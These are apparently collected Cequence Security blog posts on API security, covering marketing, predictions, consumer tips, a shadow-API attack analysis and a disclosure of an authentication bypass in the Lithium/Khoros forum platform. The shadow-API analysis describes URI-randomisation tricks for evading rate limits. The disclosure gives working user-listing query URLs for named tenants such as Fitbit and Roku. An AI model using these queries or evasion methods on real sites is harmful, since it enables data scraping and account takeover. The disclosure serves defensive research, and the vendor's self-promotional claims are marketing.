In most organizations, these APIs are located in different locations – multi-cloud to the datacenter. In a decentralized, geo-distributed, and multi-could world, cataloging, risk scoring and protecting all of your APIs is a security nightmare. However, that’s what Cequence does best. Today, we help protect over 85 global brands while processing over 2 billion API transactions per day in industries like finance, fintech, retail, insurance, travel and hospitality, social media, and more. As Mark O’Neill and Jeremy D’Hoinne emphasize in the 2021 Gartner® “Hype Cycle™ for Application Security, 2021” report, API Security is at the peak of the hype curve. That means it is a nascent market, flooded with immature, point solutions creating a lot of buzz but also a lot of confusion for customers.

API Security upstarts, legacy AppSec players, CDN based security offerings, IaaS vendors, and API Management vendors all try to claim a piece of this big pie. However, only Cequence has the most complete and comprehensive offering in the market, as validated by Venky and others as part of their investment thesis. That’s why instead of choosing a point solution, many enterprises prefer Cequence’s API Security Platform.

What Cequence Actually Does

Cequence Security starts by cataloging APIs to eliminate shadow APIs, and strictly enforces API schema conformance. We protect APIs from threats defined in the OWASP API Top 10 list; we are helping data governance teams detect sensitive data leaking through APIs, while preventing automated API business logic abuse that commonly leads to fraud.

Cequence’s differentiated approach and superior architecture is a delight to customers as we can natively stop all the threats it detects without reliance on any third-party integration, scale as needed, and is API-based, allowing you to import and export data to improve your overall security posture. Our modern, API-first architecture can be enabled swiftly in complex and multi-cloud environments. Customers can begin discovering and protecting their APIs with our SaaS solution in as little as just 15 minutes, or if they prefer, completely on-premises or a mixture of both.

Solving Real Customer Challenges

Most importantly, we are helping our customers solve critical API security challenges, starting with the need for API visibility and inventory tracking. The Platform helped a global telecom customer generate an accurate, departmental-level inventory of thousands of APIs across multiple public clouds. Their prior solution was a manually managed Excel spreadsheet – out of date before they even hit save.

Data governance is the second challenge. Remember that an API includes the payload, like a credit card number, and coding best practices are to mask and encrypt it. Our Platform helped a financial services industry customer avoid a potential compliance violation by surfacing an API exposing sensitive data.

The last challenge encompasses coding errors that can introduce risks – like poorly implemented authentication, non-conformance to a defined specification, or internal APIs exposed publicly – all of which can be exploited by threat actors. In another customer scenario, the API development was widely distributed, included external developers, and had loosely defined checks and balances. Our platform is now the new basis of their API security initiative, which aims to improve API coding practices and publication processes to eliminate errors that expose them to security risks.

What’s Next

By no means is our mission complete, with this new round of funding we will help even more organizations take the next step to improve their API security. We will continue to expand our reach into new geographies and help customers in these parts of the world safeguard their APIs from abuse and attacks. In the coming months, we will also announce new product offerings that expand our capabilities beyond run-time detection and protection of APIs. A few select existing customers have previewed this new offering and they are loving it! This will be a game-changer in this space and further differentiate us from the noise.

Finally, we want to say thank you to our employees, customers, and partners. All of you made this journey possible. We couldn’t have gotten this far without each and every one of you. I am excited to continue working together and see what the future of Cequence will bring.

It’s that time of year where we review the past year with an eye towards the coming year. With that in mind, I wanted to look back at our 2021 predictions while looking forward to the new year. Last year, we predicted that API security would mature. We were somewhat correct here, but not in the manner we hoped. The maturity was in the form of start-ups popping out of the woodwork, and traditional security companies pivoting to focus on APIs. This validates our vision but also causes confusion. When we predicted increased maturity, we were hoping it would translate into fewer incidents. It didn’t.

We also said retail sites would be prime targets for attackers. Indeed they were, but the volume was much higher than we had ever imagined – a 400% increase to 2 billion API transactions per day. Commercialized bot services made it easy for anyone to use a bot to fulfill their shopping list. Lastly, we said that retailers would (finally) stand up to bots and force a day of reckoning. We missed this one completely. Bots continue to dominate high-demand sales, forcing retailers to implement in-person only sales or paid membership programs to ensure legitimate buyers, not resellers win the deal.

What’s in Store for 2022?

1. APIs Become the #1 Attack Vector: This is already happening as we are seeing 80% of the transactions we analyze are across an API. But there is still room for it to get worse. Here’s why.

• API development is widely distributed in most organizations and more often than not, there is little training for secure API coding, and guidelines on a formalized API publication process are often non-existent.
• The use of containers and no-code application development continues to explode and both are is heavily dependent on APIs.
• API specification frameworks and documentation are a move in the right direction, but when configured to be publicly accessible, they provide threat actors with an API attack roadmap.

Without fundamental advancements in secure coding practices combined with the development and adherence to a publication process, shadow APIs, those with weak authentication, and those exposing sensitive data will continue to be discovered and exploited in 2022.

2. Specification Frameworks Will Default to Private: The good news is that organizations are adopting API specification frameworks, albeit a bit slowly, as a means of improving security, code quality, and consistency. The bad news is that there are now thousands of API specifications exposed to the public, giving threat actors a cookbook on how they can attack you. You can configure framework tools to be secure, but it would be better if the suppliers made “Private” the default, much Amazon did for S3 a few years back.

3. Bots Will Exacerbate the Digital Divide: The continued commercialization of shopping bots will lead to widespread usage beyond the classic hype sales (e.g., sneakers, consoles, video cards, high-end merchandise) into areas of basic necessities (e.g., cleaning supplies, toilet paper, baking supplies). We saw snippets of this type of activity in the early days of the pandemic-induced lockdown. Since then, Bot-as-a-Service has made it easy for someone to subscribe to a bot and make an everyday purchase. Those who know where to look, how the technology works, and the wherewithal to subscribe will be able to execute a purchase ahead of the “legitimate” buyers.

4. API Security and Bot Management Will Converge: The vast majority of the startups in the API security market are approaching the API security challenge by focusing on discovery and testing tools that help development teams find and remediate API coding errors before they are published. In many ways, they are augmenting the security focus found in the shift left methodology. The increased focus on finding flaws before publication is working. The key (missing) requirement in most of these API security offerings is a strong protection posture that allows a customer to see an attack in real-time, then natively prevent it using default policies. At the same time, traditional application security vendors that provide bot mitigation functionality as a WAF add-on are trying to respond to the dramatic shift towards APIs. They are now enhancing their web application security solutions to focus more on APIs – discovery, governance, and compliance. The challenge these vendors face is how to collect API telemetry with their client-based approach. We believe that real-time, clientless API visibility and protection requirement, combined with the DevOps focus on continually improving quality is what will drive the convergence of the two markets.

It is our hope that #2 will happen in short order – frameworks are helping organizations get a handle on their API development, which in turn is improving quality and security. At the same time, we hope that #1 & #3 are horribly wrong – there are many challenges security professionals face every day, we do not need to add more to our plates. As for #4, we believe we are well suited to address the convergence with our existing platform.

Today, bad actors are increasingly exploiting API security gaps, allowing them to exfiltrate data, commit fraud or take other actions that can come back to haunt your organization. With the spooky season upon us, I wanted to cover some of the more chilling real-world API attack scenarios I’ve spotted in both Cequence customer environments and my research.

13 Scary Security Gaps

#1 Threats Lurking in Shadow APIs

In a recent survey, we found that only 16% of teams had an automated tool that inventoried APIs.

With API use exploding, many organizations are, at minimum, aware of APIs within their own applications. However, misconfigurations during fast-paced development cycles and numerous third-party integrations introduce new risks left and right — leading to unknown and unmonitored API endpoints.

#2 Zombie APIs — Be Very Afraid

Remember rule #2 in Zombieland?

(It involves ensuring no 🧟 will be coming back to bite you.)

The same goes for APIs. Ensure old, insecure versions of your APIs are really put to rest (or at least closely monitored). You may have left them accessible for a specific reason. For example, maybe some of your customers had old devices that couldn’t take updates. However, you should undertake any decision to keep older, under-secured API versions accessible with careful consideration and the complete understanding it could result in a breach.

#3 Unlocked Doors

Unauthenticated APIs can lead to some chilling scenarios. This is especially true for public-facing APIs that handle essential business information or contain data subject to regulatory compliance standards like PCI-DSS or PHI.

One common reason cited for failing to implement authentication is that the API was intentionally left open in the past to accommodate a legacy application’s limitations. However, by leaving the door unguarded indefinitely, attackers are more than happy to slip in uninvited too.

#4 Even Scarier: Authenticated but Not Authorized APIs

Suppose your backend is not enforcing strong authorization.

In this all-too-common API risk, authenticated users can exfiltrate information available to other users by simply enumerating identifiers. In that case, any user logging in will be able to poke around and grab information over the same API by simply changing their user identifier.

#5 Proliferating API Authentication Options

It’s common for development teams to support multiple authentication approaches for different consumers of their APIs. However, while convenient for users, this results in a fragmented authentication approach for the API that becomes hard to manage for application owners throughout an API’s lifecycle.

A potential weakness in any of those approaches, like those mentioned above, can compromise security.

#6 Bad Actors Masquerading as Legitimate Users

Today’s bots are excellent mimics. They can blend in with regular user traffic, make use of vetted (stolen) credentials, switch up their IPs, and make perfect requests — getting away with activities like gift cards and reward point fraud.

It can be hard to spot them lurking among your legitimate human also using APIs.

#7 Unmasked PII Pain Points

Are your APIs whispering secrets?

Sometimes published APIs expose more data than necessary when relying on clients, not back-end systems, to filter the data. Verbose error messages are an excellent example of this. They can tip-off attackers, allowing them to compile a list of good vs. bad inputs, steal data, or gather intel for a more significant attack.

#8 Screaming, Howling APIs

If API call and resource consumption limits aren’t clearly defined, you could be facing a screeching mess. Attackers can create a wall of noise, overwhelming your backend with denial-of-service attacks by submitting API request after API request.

A variation of a denial-of-service attack, this threat can take out critical services bringing areas of a business to a standstill.

#9 Signs of Paranormal Activity

Unusual activity in your environment and against your APIs may not lead you to call the Ghostbusters this Halloween, but it may indicate the need for improved bot detection and mitigation.

Our threat research team has a four-pillar detection methodology you can learn more about, but common red flags include:

• Activity on outdated or older endpoints
• Spikes in failed logins and password resets
• Signs of known bad infrastructure, such as bulletproof proxies
• Unusual account creation patterns

#10 Business Logic Abuse

Savvy attackers are always looking to exploit your APIs, using them “as designed” but achieving unattended and malicious outcomes. One example I’ve encountered includes bad actors decompiling a mobile application to discover the account login APIs, and they went on to execute an automated attack. If an attempt was successful, the bad actors then tried to commit financial fraud by transferring funds across the Open Funds Transfer (OFX) API.

#11 Frightful Exposures

While third-party APIs and public repositories can be undeniably useful, they can also lead to a severe jump scare if you don’t take proper precautions. ‘Set it and forget it’ safelisting can leave organizations exposed. Additionally, detailed API spec frameworks that are readily available on repositories like GitHub can help attackers plan and pull off a perfect heist for your crown jewels.

#12 Trick-or-Treating Botters

The general availability of Bots-as-a-Service has made it easy for bad actors to get access to ‘treats’ using your APIs as a part of their attack strategy.

#13 No Cequence Security!

Cequence Security helps you spot API Security gaps and trickster botters so that you can protect your business and data. Our machine-learning technology helps organizations avoid the threats and risks listed above — without introducing friction to end-users or modern development processes.

API Discovery and Risk Assessment

• Catalog All APIs, Find & Remediate Risks
• Generate Specs
• Identify Sensitive Data Leakage (PII, PHI, etc)

Automated Threat Prevention

• Business Logic Abuse
• Enumeration Attacks
• ATOs, Automated
• Shopping Bots
• App DDoS

Fraud Prevention

• Payment Fraud
• Bank Fraud
• Romance Fraud
• Gift Card Fraud

Avoiding an API Horror Scenario

As threats, including bot attacks, continue to evolve, APIs remain a popular target. While security best practices are maturing, the fast pace of development and the increasing sophistication of attackers can leave many organizations with security gaps.

It is somewhat apt that October is cybersecurity awareness month, given the spooky nature of Halloween and the actions of malicious actors hiding in the shadows. We asked some of our team members battling ATO attacks for our customers for tips they might provide friends and loved ones. Here are the top ten tips for Cybersecurity Awareness 2021.

1. Use Multi-Factor (aka MFA or Two-Factor) Authentication: Enabling multi-factor authentication for your application and website accounts dramatically reduces the likelihood that your account will be hacked. With multi-factor authentication turned on, a bad actor would have to also have access to your authentication method in order to gain access to your account. The types of authentication methods vary from app to app and site to site – some may allow you to select from multiple options like SMS text message, using the Google Authenticator app, or a soft token (or software token).
2. Use Unique Passwords for Every Account: Bad actors know that people love to reuse passwords across online accounts and applications. Fortunately for them, there are billions of userID/Password combinations for sale (and for free) from the continuous stream of data breaches. With stolen credentials in hand, they count on our bad habit of password reuse and they’ll test out your password (along with all of the other most popular passwords) to see if they can get into your account. (This is called credential stuffing.) This is why it’s important to use unique passwords for all of your accounts, making password managers a necessity.
3. Use Strong Passwords: Password123, 123456, Qwerty, LiverpoolFan, These are all examples of weak passwords, which bad actors will try first to see if you resorted to using a commonly compromised password creation pattern. Using these weak passwords makes it possible for even beginner hackers to get into your account in seconds.
   When creating your password, avoid using your birth year (or another year with special meaning), family or pet names, the city where you live, and the names of your favorite sports teams. These are all easily discovered through your social media or guessed based on other demographic signals. And simple number/symbol substitutions like p@ssw0rd are quickly cracked. (Sorry!) The longer the password the better – and the best password is one that you can’t remember (unless you have total memory recall). Again, that’s why you need that password manager.
4. Use a Password Manager: If you’re going to follow the best practices of using unique, strong passwords on all your accounts, using a password manager is pretty much a necessity. It will help you create strong passwords and store them with encryption, and many will even facilitate Autofill into login fields. And, if you need to share your HBOMax password with your family, (a no-no that many ignore), many password managers have family accounts so you don’t have to dumb down the password or send new passwords over email or text (a really bad idea). My favorite password manager is 1Password, but there are some newer free ones available – like Myki — that look good, too.
5. Don’t Save Passwords in Your Browser: Every web browser makes it possible for you to store your passwords – they’ll even prompt you to store them as you’re logging into new sites or apps. Similar to password managers, they’ll also offer up suggestions for strong passwords as you’re creating new login credentials. The problem, however, is that those passwords are most likely stored on your computer in an unencrypted form – meaning that if someone steals your laptop, they could get access to all your online accounts. This is why dedicated password managers are preferred. However, if you have to make a choice between using your browser’s password manager or using weak passwords, opt for stronger passwords (created by the browser) every time!
6. Be Careful About the Emails You Click: Bad actors will often use email as a way to get access to your account information. I’ve known too many people who have gotten emails from their favorite retailers – only to realize later that it didn’t actually come from that retailer, but rather a bad actor. These bad folks hope that you’ll click a link on the email which takes you to a faked account login screen where they can then capture your login details. As a best practice, retailers typically never ask for personal information such as login details or passwords in email communications or on the phone. If you get a message that asks you to log in (or if a customer service rep asks you for this information) it is likely an attempt to steal your data. Look closely at where the email is coming from – if it is an Amazon email, look to see if it is originating from amazon[.]com; read the email closely – are there obvious grammar and wording errors. If you think it’s legitimate, open a new browser window and log in to your Amazon account directly to check error status.
7. Check to see if your account password has been breached (change it if it has been): Use Have I Been Pwned? to find your information in old data breaches. This is a scary thing to do, but helpful to understand your exposure. Obviously, if your information is there, make the necessary adjustments.
8. Don’t Save Credit Cards in Your Online Accounts: Storing credit card information in your online retail accounts and subscriptions may seem like a timesaver, but that also makes it easy for an attacker who has gained access to your account to run up a credit card bill, too. Think about all the time it would take to deal with the fraudulent charges that a bad actor could run up – the extra 30 seconds it takes to enter in your credit card pales in comparison. And, if you’re using a password manager, you can store your credit card information there which makes it easy to copy and paste your numbers when you’re checking out.
9. Don’t fall for “Pay me with a gift card!”: This is a well-known, yet still a wildly successful tactic that commonly targets older, or less technically savvy folks. Either via email, phone, or both, the bad actor convinces you that you need to pay them to fix your (not) broken computer, or update a software subscription. Preying on fear and lack of technical acumen, the bad actor gains access to your computer, installing a remote access tool, which is then removed only after you pay them – in gift cards. It’s so common that Apple has placed a limit on in-store gift card purchases.
10. Don’t respond to demographic quizzes/polls on social media: These Facebook questions and quizzes look to be data gathering for a report but in reality, are often designed to farm demographics and steal password hints. Bad actors establish a fake account, use automation to gain a following, and then begin posing questions, polls and quizzes, based on the interests observed. Don’t fill them in.

The term shadow API can convey a sense of a complicated, nebulous object, which doesn’t necessarily convey the security risks when they are discovered in the wild. The reason attacks on shadow APIs are so effective is that they exploit seemingly innocuous mistakes in development and asset management control. These mistakes are frequently abused by bots, who rely on the lack of API visibility among the defenders. With the understanding that you cannot protect what you cannot see, let’s take a look at two recent customer examples of attacks on shadow APIs.

Shadow API Exposes Improper Access Control

One of the techniques we see is attackers bypassing incumbent bot protection by first scanning for obscure, yet subtle deviations on known login APIs. For a given login API, such as /api/auth/login, an attacker will probe the server for valid failed/successful login responses using subtle deviations like:

• /api/auth/login1
• /api/auth/login/
• /api/auth/login%2A
• /api/auth/login

These API deviations, particularly the trailing slash or dash, can be particularly difficult to detect and mitigate as those are common characters used in API creation, and are not an obvious anomaly. The request payloads also look identical to the valid login endpoint, as attackers are simply trying to carry out a credential stuffing attack here, not any kind of malicious command injection. During an attack on a shadow API, typical monitoring systems that track legitimate applications and microservices traffic may not spot any anomalies, and the first indicator for a network defender could be a spike in queries to post-authentication services like user profile or gift card information. This would be an indication of an attacker scraping information after they have successfully executed an account takeover via the shadow API. Attackers can take advantage of this lag in discovery and response to “step on the gas” and ramp up their attack volume, exploiting the improper access control API flaw with a basic bot.

Shadow API Under Attack: 1000% Traffic Spike

A recent attack on a customers’ shadow API saw nearly 20 million requests per week attempting credential stuffing via shadow APIs, which represented a 1000% increase in traffic relative to legitimate login volume. Bot attacks like this can bypass basic access controls like geo-fencing and rate-limiting by making two very simple modifications.

1. Use residential or Bulletproof Proxies to mask true location by routing traffic through the most-used country of the target.
2. Randomize URIs used in the attack to avoid IP address and URI-based rate limiting. Bots simply need to send a single request per IP address to a unique URI, which is still responding from the same microservice. The attacker takes advantage of the improper access control and randomizes URIs, attacking /api/auth/loginabc123, /api/auth/logindef456, etc., rendering rate-limiting useless.

Improper API Inventory Management

The second example of shadow APIs under attack is in a microservices environment that is hosting two different APIs developed and maintained by two different teams with overlapping responsibilities for a critical application like payment processing and checkout.

One team might have been the first to market with this API, while the second worked on a more robust, feature-rich version which would eventually represent the go-to API. But the organization cannot afford to wait for the perfect API to begin processing and fulfilling orders, which means that live traffic may be hitting both APIs for a period of time. As the go-to API rolls out across the enterprise all human traffic will eventually interact with it, while the early version may be limited to old versions, perhaps for a mobile app. The risks arise when the early API is not disabled or deprecated because it may negatively affect conversion rates. This API is on its way to becoming a shadow API, and as most attacks move to newer APIs, the defensive attention shifts as well, leaving shadow APIs ripe for abuse.

Shadow API Under Attack: 28X Traffic Spike

One of our customers recently saw an attack on their gift card API that saw a 28X daily spike to 1.8 million daily malicious requests attempting to steal gift card information from customers. In this example, attackers had exploited the duplicate shadow API and routed their traffic through IPVanish, a low cost, no logs or connection limits VPN provider.

While shadow APIs may be a relatively new term in the market, the attack trends observed by the threat research team indicates it is impossible to decouple API security from bot protection. In the cases described above, shadow APIs are a security problem, that quickly becomes both a development and bot problem.

Uncovering Attacks on Shadow APIs

As the name implies, attacks on shadow APIs often appear out of nowhere. The known APIs commonly used by both legitimate users and bots will not display any abnormal activity or signs of attack. Instead, the abnormal behavior will appear as mysterious indicators or issues with services residing deeper in the infrastructure. For example, if you’re under a bot attack through a shadow API, you may observe:

• Spikes in user database connections are indicative of more users logging in
• Spikes in queries to post-authentication microservices like gift card balance checking, profile details, and any type of value a fraudster might be after post-login.
• For online retailers, shopping bots will frequently attempt to find shadow APIs to checkout coveted goods. In this case you would observe stress on backend inventory databases, anomalous spikes in out-of-stock errors, and availability issues that seem to be coming out of nowhere.

During this attack, many of the systems that are monitoring a specific login/signup/checkout endpoint that humans use will not be reporting anything out of the ordinary, making pinning down the attack and stopping it difficult. Oftentimes, by the time the attack is identified, the bot operator seen success and has found other shadow APIs to target. By the time you pin down and shut off the initial shadow API abuse, the attacker has hopped to a different shadow API under the assumption that shadow APIs are endemic across the development organization. More often than not, the attacker has assumed correctly.

How Cequence Can Help

In both of these examples, the Cequence API Security platform was able to help our customers fend off the attack. The platform integrates seamlessly with your API management infrastructure to perform runtime identification and inventory of all public-facing and internal APIs – including those considered shadow APIs. Once the APIs are discovered, risks are identified for remediation using predefined and custom assessment rules. Automated threats are blocked automatically based on our patented, ML-based Behavioral Fingerprinting that determines if the transactional intent is malicious or legitimate.

I am very pleased to see Cequence Security chosen from a field of 190 different vendors as one of the sixteen SINET16 Innovators award winners. The stringent selection process involves an in-depth application that is then put through two rounds of analysis by 100+ tech-savvy judges who look at how the applicant security innovations are solving problems for enterprise-class customers. I cannot speak to why the other vendors were selected as winners, but I believe we were selected because we are addressing the API security challenge with the only platform that unifies API security with bot management. Our approach has been validated in some ways by Gartner as the only vendor mentioned in the Application Security Hype Cycle report for both the API Threat Protection and Bot Management categories. Every day we are analyzing more than 2 billion API transactions for large, Fortune 500 class customers, helping them discover and inventory all of the APIs, analyze and remediate their risks while protecting them from automated attacks.

API Security Starts With Shielding Right

Bad actors love APIs because they are easier to attack than a web app. Further simplifying malicious API abuse are those that are left unprotected (shadow) or have coding errors found in the wild. Our platform is built with the assumption that bad actors know how to make API transactions appear to be legitimate, easily bypassing JavaScript and SDK-based prevention tools and other common security infrastructure tools (e.g., firewalls, IPS, WAFs, Security Gateways, and fraud tools). Our unique ML-based approach to prevent fraud and data loss caused by API-based business logic abuse is founded in CQAI engine, a multi-dimensional, machine learning analytics engine that finds and characterizes your APIs. The CQAI traffic analysis is based on the tools, infrastructure, credentials, and behaviors seen in each transaction, differentiating between human vs. machine interaction and malicious vs. legitimate intent. The result of the analysis is a Behavioral Fingerprint that is used in policy to shield right by preventing API-based attacks.

Shield Right to Strengthen Shift Left

As the use of APIs exploded, we leveraged our API protection expertise to add risk analysis and remediation capabilities to the platform. All APIs are analyzed by API Sentinel – those with specifications and those without – for common errors like poorly implemented or inconsistent authentication; unmasked or unencrypted sensitive data; and specification conformance. Custom risk assessment rules allow our users to create unique criteria that will uncover additional risks which can then generate remediation alerts to help improve shift left efforts – all without placing an added burden on the development teams.

Easy to Deploy, Scalable, and Open Platform

The SINET16 submission included multiple examples of how we help large, enterprise customers protect their APIs. Our ability to help these customers is predicated both on the functionality but also on multiple platform specific factors:

• Ease of deployment: A modern, Kubernetes-based architecture allows the platform to be deployed in any environment – datacenter, public cloud, SaaS, or hybrid. Most customers are choosing to use the SaaS deployment model which can be enabled in less than an hour by making a few CDN configuration changes to redirect selected traffic.
• Scalability: The platform architecture is modular, allowing the computationally intensive analysis to be deployed separately, while the enforcement elements are deployed nearer the application. To accommodate traffic spikes caused by high-volume attacks or legitimate users, the platform leverages autoscaling to expand and contract capacity as needed.
• Open and Easy to Integrate: The platform boasts an easy-to-use management interface for fingertip access to findings and policies. Users have full control over their environment with assistance from Cequence on an as-needed basis. A rich set of REST APIs facilitates integration into existing IT infrastructure elements including inbound threat feeds, CI/CD tools, API management components, and SEIM/SOAR offerings.

The vast majority of the startups in the API security market are approaching the API security challenge by focusing on discovery and testing tools that help dev teams find and remediate security gaps in APIs before they are published. In many ways, they are augmenting the security focus found in the shift left methodology. Although some API security vendors claim shift left is failing (so you should use their tools), we believe shift left is working. However, without a strong protection or shield right posture, a correctly coded API is still susceptible to an automated attack, something we see every day in our customer environments. The SINET16 Innovators award is further validation of our vision that the API threat prevention and bot management market segments will, and should merge.

This is the last of my three guest blogs as part of our collaboration with Cequence. In the first blog on August 30, I wrote about how we’ve seen the level of API security knowledge increase since our initial research in 2019 but more must be done to secure the use of APIs in today’s hyperconnected world. In the second blog on September 13, I noted that despite increasing levels of API security maturity, significant breaches and detected vulnerabilities continue to occur at a rapid pace. In that second blog, I provided four recent examples of API-related gaffes and the root cause for each.

API security continues to be a hot topic as APIs are now ubiquitous and are the underpinning of digital transformation initiatives, cloud journeys, and open banking rollouts across the globe. To continually assess the state of API security, we rely on interviews and surveys of technology professionals as well as the fine work of notable security researchers that battle test APIs to look for potential vulnerabilities. Together, these data sources inform our opinions about API security and help organizations with recommendations to improve their API security efforts.

Cequence recently commissioned a formative survey on API security that garnered responses from 100 technology leaders. The survey delved into the methods their organization use to bolster API security as well as their adoption and use of API specifications. Some key results from the Cequence survey follow as well as this analyst’s perspective compared with our other research on API security.

Survey Data Point 1

Just over half (51) of the tech leaders indicated that they rated their organization’s adoption of API security best practices as a focused effort, further defined as they have implemented API testing and enforcement for certain APIs / teams, but not all.

Analyst Perspective – This result tracks with other recent research and underscores that a growing number of tech professionals have now acknowledged the importance of API security, the need to implement controls and oversight, and a commitment to reduce risk to their organizations.

Survey Data Point 2

When asked what tools are used to assess the security of APIs, 31 responders (31%) indicated that no tools are being used. Other responses included dynamic testing (DAST) at 45%, static testing (SAST) at 34%, runtime application security testing (RAST) at 21%, runtime API security assessment at 18%, and runtime API security specification enforcement at 6%.

Analyst Perspective – In Aite Group’s August 2020 research report “API Security: Best Practices for FIs and Fintech and Insurtech Companies” we noted that only 2 of 31 companies we interviewed were doing specific API security testing. The results of Cequence’s survey point to a growing focus on API security testing but clearly demonstrate that more should be performed.

Survey Data Point 3

The survey asked if the responder’s company had API specifications for internally developed APIs. Only 24% indicated that specs are required for all APIs and 54% indicated that their organization has some but not all APIs have documented specs. Of particular interest is that 13% of responders reported that API spec development is just starting and 9% reported that they do not have any API specs at all.

Analyst Perspective – As we’ve previously noted, we consider API specs to be a fundamental component of API security. Specs define how the API functions and its relationship to data sources and other APIs. Specification development can help uncover potential authentication and authorization shortfalls. Spec development can also lead to a threat modeling exercise with security professionals to determine “…so, what’s the worst that can happen?” Based on the survey responses, this area appears to be a great candidate for improvement.

Survey Data Point 4

API visibility continues to be a key indicator of API security maturity. The survey asked the tech leaders how many APIs are in use across their organizations and what methods are used to substantiate their counts. Results were:

Number of APIs:

Counting Method Responses:

Analyst Perspective – These numbers do not correlate with our previous research on API visibility and appear to be extremely low. Admittedly, the Cequence survey included organizations from other verticals than financial services, but we know API use is growing rapidly across all industries. The results are either an anomaly or point to a continued lack of API visibility – and increased risk of vulnerabilities or breaches due to poor oversight. With only 16% of tech leaders reporting that automated tracking tools are used, this is another area for improvement.

Joseph has been a cybersecurity analyst since 2019. He’s worked in information security for more than 45 years. His previous roles include operations officer for the U.S. intelligence community, a CISO at large publicly traded companies, and a cybersecurity strategy consultant for Accenture and PwC. He has worked in 115 countries, and he’s keenly interested in disruptive and emerging cybersecurity technologies.

Four months ago, researchers at Cequence discovered an authentication vulnerability in the Lithium community forum platform (now part of Khoros), that warranted a responsible disclosure submission. The vulnerability impacts Khoros customers using the Lithium platform to host public communities and forums, exposing their customer data to unauthenticated users. Khoros has been made aware of our findings but has said the platform works-as-designed.

The Discovery

We pointed a new API security tool at several popular sites including Fitbit, and we noticed a couple of key oddities, including:

• Unauthenticated endpoints, which led to the discovery of endpoints that don’t require a completely valid authentication token.
• The queries were SQL variations and seemed to be editable.

To validate these findings, we modified the query discovered by the tool in use to look for the profile of one of our employees.

“/xmnuz23762/api/2.0/search?q=SELECT+id,+login,+avatar.profile,+rank,+view_href+F ROM+users+WHERE+id+%3D+%22[CEQUENCE EMPLOYEE REDACTED]%22?”

The format here is standard for an SQL query, so we modified the query to look for a list of users.

“/xmnuz23762/api/2.0/search?q=SELECT*FROM+users”

The list of users shows us that the user profile IDs are numeric and the request points to an alphanumeric endpoint “xmnuz23762”.

Image 1: Modified query results display a user profile.

These two data points (the user profile being numeric and the odd endpoint nomenclature) drove us to investigate further. First, we confirmed that user profile 1 is an admin profile for Lithium. Armed with the administrative info, a malicious actor might continue to poke around to see if they make admin-level changes, like modifying or deleting a profile.

Image 2: Query results display an administrator profile.

Tying Lithium and the alphanumeric ID together uncovered that xmnuz23762.lithium.com is one of the Lithium registered domains that redirects to community.fitbit.com. That alphanumeric sequence in the queries is part of the tenant API call.

Further investigating the authentication issues, the team found other Lithium tenants to validate consistent behavior, for example, navigating to aempf32337.lithium.com redirected us to community.roku.com. While still authenticated to the Fitbit community, we ran the same SQL query against Roku, with the same results—we were able to see the user profiles.

“/aempf32337/api/2.0/search?q=SELECT*FROM+users”

It seems Fitbit authentication works perfectly fine on Roku. As shown in the screencap below, the team verified that a user authenticated against one of the public Lithium forums (Fitbit) can view/read all posts from all users on all of the other public Lithium forums (Roku, etc.).

Image 3: Accessing a different community while authenticated to Fitbit.

Delving a bit further, the team removed the authentication tokens completely, placing random characters or using the tokens from another tenant. Each of the authentication scenarios tested (using auth from another forum, no auth at all, or malformed/bad auth) allowed authenticated access to the site.

The Implications

According to the Fitbit community terms of service, all users must have a login and must have provided user details to use the forum. Our findings show that the authentication flaws in the Lithium community platform allow those terms of service to be easily bypassed—you do not need to have a login to read their forum, nor any other public forums. Like Fitbit, all of the public community forums hosted on the Lithium platform will have terms of service that provide guidance on how the platform is used. Even when participating in a public forum, there is an assumption that a user is afforded a small amount of privacy. Our findings indicate that several potentially malicious scenarios are possible if no further action is taken:

• A malicious actor could scrape the data off of all of Khoros’ public tenants.
• A competitor could easily uncover the Khoros customer names and contacts.
• A disgruntled user (or competitor) could use information from posts about product issues to execute a disparaging social media campaign.
• Given the lack of authentication, and the ability to view data in the tables, we believe the platform may be susceptible to SQL injection attacks.

The 90-day waiting period outlined in responsible disclosure best practices expired in August. The last communication with Khoros maintained that it worked-as-designed. We believe the ramifications are significant and warrant an investigation and perhaps a discussion. If the findings are not significant to Khoros, then certainly to their customers and their customers’ users.

Works-as-Designed?

Following responsible disclosure practices, the team submitted the findings to Khoros in May. In most cases, a responsible disclosure submission initiates a mutually beneficial conversation. Khoros replied that what we saw was not SQL but LiQL, their own proprietary look-up language and the public nature of the forum means authentication isn’t required. From their May 24^th communications to us:

“What you found is our API, called LiQL (Lithium Query Language). LiQL uses a syntax similar to SQL. Occasionally, the similarity causes confusion with security experts concerned about SQL injection vulnerability. LiQL queries do not act directly against the Community database. Instead, LiQL queries go through a REST API abstraction layer which maps to predefined objects, not SQL tables. A LiQL query never provides access to the underlying SQL tables and database schema, so you are not at risk of SQL injection when using LiQL. In addition, all queries adhere to the permissions granted to the user account making the queries to ensure that private data is not exposed to the wrong parties.”

A second attempt to reiterate the authentication bypass concerns, (which are that one can view any of the Lithium-hosted public forums without authentication) was dismissed as they are public forums, and the platform worked-as-designed. For Khoros customers that are using the platform to host a public forum, it appears that anyone can read the forum and can pull all posts without your knowledge of who they are. We tested the private forum settings, and private forums do not appear to suffer the same issues with authentication against the backend APIs.

Feeling a bit frustrated, the team turned its attention to Fitbit, now part of the Google responsible disclosure process, which is routed through Bugcrowd. The findings were submitted to Bugcrowd and because it was related to the community forum, it was viewed as out of scope. Following the Bugcrowd procedure, an out-of-scope case was opened to facilitate communication with Fitbit. The out-of-scope report was also rejected. The case has been escalated within Bugcrowd and they have confirmed our findings and they are engaging with Fitbit. No word yet on the status.

Timeline

• May 12th, 2021: Testing finds SQLi and Authentication issues on FitBit’s community.
• May 24th, 2021: A report is made to Khoros, the owner of the Lithium platform that hosts the community. The 90-day responsible disclosure period begins.
• May 24th, 2021: An autoresponder creates a ticket.
• May 24th, 2021: Ticket updated with: LiQL uses a syntax similar to SQL. Occasionally, the similarity causes confusion with security experts concerned about SQL injection vulnerability. LiQL queries do not act directly against the Community database. Instead, LiQL queries go through a REST API abstraction layer which maps to predefined objects, not SQL tables. A LiQL query never provides access to the underlying SQL tables and database schema, so you are not at risk of SQL injection when using LiQL. In addition, all queries adhere to the permissions granted to the user account making the queries to ensure that private data is not exposed to the wrong parties.
• August 12th, 2021: Out-of-Scope submission to Fitbit’s program on Bugcrowd
• August 12th, 2021: Bugcrowd closes the submission for being not applicable.
• August 26th, 2021: Notification to Khoros that 90-day responsible disclosure has expired, Authentication bypass is reiterated and still exists. Next step is to take this information public and include it in educational materials.
• August 26th, 2021: Khoros responds, that we were explaining expected behavior for public open communities and that customers have the ability to restrict unauthenticated access.
